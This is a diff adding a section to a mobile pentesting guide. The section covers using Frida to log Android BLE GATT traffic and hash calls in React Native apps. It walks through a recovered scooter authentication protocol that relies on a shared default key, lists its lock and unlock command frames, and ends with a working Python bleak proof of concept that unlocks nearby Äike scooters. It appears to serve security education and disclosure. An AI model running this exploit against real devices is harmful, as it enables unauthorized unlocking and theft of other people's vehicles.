diff --git a/src/mobile-pentesting/android-app-pentesting/react-native-application.md b/src/mobile-pentesting/android-app-pentesting/react-native-application.md
index 2b3d758dd35..839e4875ba5 100644
--- a/src/mobile-pentesting/android-app-pentesting/react-native-application.md
+++ b/src/mobile-pentesting/android-app-pentesting/react-native-application.md
@@ -186,6 +186,90 @@ make-apk-accept-ca-certificate.md
frida-tutorial/objection-tutorial.md
{{#endref}}
+### Runtime GATT protocol discovery with Frida (Hermes-friendly)
+
+When Hermes bytecode blocks easy static inspection of the JS, hook the Android BLE stack instead. `android.bluetooth.BluetoothGatt` and `BluetoothGattCallback` expose everything the app sends/receives, letting you reverse proprietary challenge-response and command frames without JS source.
+
+
+Frida GATT logger (UUID + hex/ASCII dumps)
+
+```js
+Java.perform(function () {
+ function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); }
+ function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); }
+ var G = Java.use('android.bluetooth.BluetoothGatt');
+ var Cb = Java.use('android.bluetooth.BluetoothGattCallback');
+
+ G.writeCharacteristic.overload('android.bluetooth.BluetoothGattCharacteristic').implementation = function (c) {
+ console.log(`\n>>> WRITE ${c.getUuid()}`); console.log(b2h(c.getValue())); console.log(b2a(c.getValue()));
+ return this.writeCharacteristic(c);
+ };
+ G.writeCharacteristic.overload('android.bluetooth.BluetoothGattCharacteristic','[B','int').implementation = function (c,v,t) {
+ console.log(`\n>>> WRITE ${c.getUuid()} (type ${t})`); console.log(b2h(v)); console.log(b2a(v));
+ return this.writeCharacteristic(c,v,t);
+ };
+ Cb.onConnectionStateChange.overload('android.bluetooth.BluetoothGatt','int','int').implementation = function (g,s,n) {
+ console.log(`*** STATE ${n} (status ${s})`); return this.onConnectionStateChange(g,s,n);
+ };
+ Cb.onCharacteristicRead.overload('android.bluetooth.BluetoothGatt','android.bluetooth.BluetoothGattCharacteristic','int').implementation = function (g,c,s) {
+ var v=c.getValue(); console.log(`\n<<< READ ${c.getUuid()} status ${s}`); console.log(b2h(v)); console.log(b2a(v));
+ return this.onCharacteristicRead(g,c,s);
+ };
+ Cb.onCharacteristicChanged.overload('android.bluetooth.BluetoothGatt','android.bluetooth.BluetoothGattCharacteristic').implementation = function (g,c) {
+ var v=c.getValue(); console.log(`\n<<< NOTIFY ${c.getUuid()}`); console.log(b2h(v));
+ return this.onCharacteristicChanged(g,c);
+ };
+});
+```
+
+
+Hook `java.security.MessageDigest` to fingerprint hash-based handshakes and capture the exact input concatenation:
+
+
+Frida MessageDigest tracer (algorithm, input, output)
+
+```js
+Java.perform(function () {
+ var MD = Java.use('java.security.MessageDigest');
+ MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
+ MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
+ MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
+ MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
+});
+```
+
+
+A real-world BLE flow recovered this way:
+- Read challenge from `00002556-1212-efde-1523-785feabcd123`.
+- Compute `response = SHA1(challenge || key)` where the **key was a 20-byte default of 0xFF** provisioned across all devices.
+- Write the response to `00002557-1212-efde-1523-785feabcd123`, then issue commands on `0000155f-1212-efde-1523-785feabcd123`.
+
+Once authenticated, commands were 10-byte frames to `...155f...` (`[0]=0x00`, `[1]=registry 0xD4`, `[3]=cmd id`, `[7]=param`). Examples: unlock `00 D4 00 01 00 00 00 00 00 00`, lock `...02...`, eco-mode on `...03...01...`, open battery `...04...`. Notifications arrived on `0000155e-1212-efde-1523-785feabcd123` (2-byte registry + payload), and registry values could be polled by writing the registry ID to `00001564-1212-efde-1523-785feabcd123` then reading back from `...155f...`.
+
+With a shared/default key the challenge-response collapses. Any nearby attacker can compute the digest and send privileged commands. A minimal bleak PoC:
+
+
+Python (bleak) BLE auth + unlock via default key
+
+```python
+import asyncio, hashlib
+from bleak import BleakClient, BleakScanner
+CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"
+
+def filt(d,_): return d.name and d.name in ["AIKE","AIKE_T","AIKE_11"]
+async def main():
+ dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0)
+ if not dev: return
+ async with BleakClient(dev.address) as c:
+ chal = await c.read_gatt_char(CHAL)
+ resp = hashlib.sha1(chal + b'\xff'*20).digest()
+ await c.write_gatt_char(RESP, resp, response=False)
+ await c.write_gatt_char(CMD, bytes.fromhex('00 d4 00 01 00 00 00 00 00 00'), response=False)
+ await asyncio.sleep(0.5)
+asyncio.run(main())
+```
+
+
## Recent issues in popular RN libraries (what to look for)
When auditing third‑party modules visible in the JS bundle or native libs, check for known vulns and verify versions in `package.json`/`yarn.lock`.
@@ -206,7 +290,8 @@ grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/nu
- [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
- [https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications](https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications)
- [https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf](https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf)
-- CVE-2024-21668: react-native-mmkv logs encryption key on Android, fixed in v2.11.0 (NVD): https://nvd.nist.gov/vuln/detail/CVE-2024-21668
-- hbctool (and forks) for Hermes assemble/disassemble: https://github.com/bongtrop/hbctool
+- [CVE-2024-21668 - react-native-mmkv logs encryption key on Android (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2024-21668)
+- [hbctool (and forks) for Hermes assemble/disassemble](https://github.com/bongtrop/hbctool)
+- [Äike BLE authentication bypass: default BLE private key allows unlocking any nearby scooter](https://blog.nns.ee/2026/01/06/aike-ble/)
{{#include ../../banners/hacktricks-training.md}}